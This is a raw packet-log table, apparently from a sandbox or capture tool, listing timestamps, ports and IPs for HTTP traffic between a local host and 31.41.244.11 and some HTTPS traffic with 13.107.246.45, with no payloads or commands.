Nov 18, 2024 23:04:15.711447001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711479902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711481094 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711513996 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711519003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711539030 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711546898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711561918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711580992 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711596012 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711611032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711642027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711647034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711662054 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711682081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711704016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711714983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711735010 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711749077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711764097 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711781979 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711805105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711816072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.711834908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.711869001 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.739577055 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.739612103 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.739660978 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.739706039 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.739744902 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.740129948 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.740129948 CET	49832	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.740197897 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.740236998 CET	443	49832	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.742993116 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.743029118 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.743127108 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.743258953 CET	49837	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.743277073 CET	443	49837	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.749931097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.749991894 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750042915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750057936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750057936 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750078917 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750113010 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750150919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750150919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750166893 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750206947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750238895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750269890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750294924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750313044 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750345945 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750368118 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750381947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750412941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750436068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750463963 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750497103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750523090 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750530958 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750544071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750565052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750579119 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750598907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750612974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750633001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750652075 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750667095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750686884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750716925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750719070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750754118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750777960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750787973 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.750806093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.750844955 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.755618095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.755649090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.755701065 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.755734921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.755767107 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.755800009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.755812883 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.755858898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.755870104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.755893946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.755909920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.755928040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.755944967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.755976915 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.778974056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779015064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779031038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779156923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779156923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.779158115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.779172897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779238939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.779279947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779294968 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779309034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779331923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.779342890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779360056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779369116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.779373884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779391050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779397011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.779408932 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.779454947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.779665947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779681921 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779696941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779714108 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779717922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.779728889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779745102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779755116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.779759884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779774904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779789925 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.779793024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.779818058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.779839993 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.780009031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.780024052 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.780060053 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.780061960 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.780075073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.780085087 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.780106068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.780132055 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.780145884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.780196905 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.780220985 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.780236959 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.780251980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.780273914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.780282974 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.780297995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.780333042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.781769991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.781785011 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.781800032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.781827927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.781857967 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.781928062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.781943083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.781956911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.781980991 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.781980991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.781995058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.782007933 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.782011032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.782023907 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.782038927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.782048941 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.782087088 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.782095909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.782119989 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.782133102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.782143116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.782176971 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.786243916 CET	443	49833	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.786786079 CET	49833	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.786813974 CET	443	49833	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.787167072 CET	49833	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.787173033 CET	443	49833	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.822984934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823054075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823081970 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823112011 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823117018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823168039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823203087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823239088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823260069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823273897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823297024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823323965 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823343039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823379040 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823405981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823412895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823427916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823447943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823460102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823484898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823494911 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823537111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823555946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823594093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823611975 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823626041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823647976 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823659897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823683023 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823697090 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823726892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823730946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823766947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823766947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.823767900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.823817015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.826581955 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.826637983 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.826642990 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.826673031 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.826683998 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.826718092 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.826793909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.826828003 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.826845884 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.826862097 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.826875925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.826896906 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.826904058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.826951981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.826955080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827008009 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827008963 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827042103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827055931 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827076912 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827089071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827112913 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827122927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827147961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827159882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827183962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827212095 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827224016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827255964 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827277899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827364922 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827399015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827419996 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827436924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827450037 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827481985 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827505112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827538967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827558994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827574015 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827589035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827610016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827621937 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827662945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827665091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827698946 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827713966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827733994 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827745914 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827768087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827778101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827802896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827814102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827837944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827850103 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827872038 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827887058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827907085 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827919006 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.827941895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.827955961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828000069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828041077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828074932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828092098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828108072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828123093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828144073 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828155041 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828177929 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828191042 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828214884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828224897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828249931 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828260899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828286886 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828295946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828324080 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828335047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828368902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828454018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828486919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828514099 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828521967 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828526974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828557014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828568935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828592062 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828603983 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828627110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828639984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828661919 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828672886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828708887 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828777075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828809977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828824043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828845024 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828855991 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828879118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828891039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828915119 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828926086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828948021 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828959942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.828983068 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.828993082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829035997 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829070091 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829076052 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829087973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829103947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829128981 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829138041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829170942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829173088 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829204082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829206944 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829237938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829260111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829271078 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829293013 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829314947 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829327106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829335928 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829360962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829379082 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829410076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829413891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829451084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829487085 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.829502106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.829535961 CET	80	49794	31.41.244.11	192.168.2.4
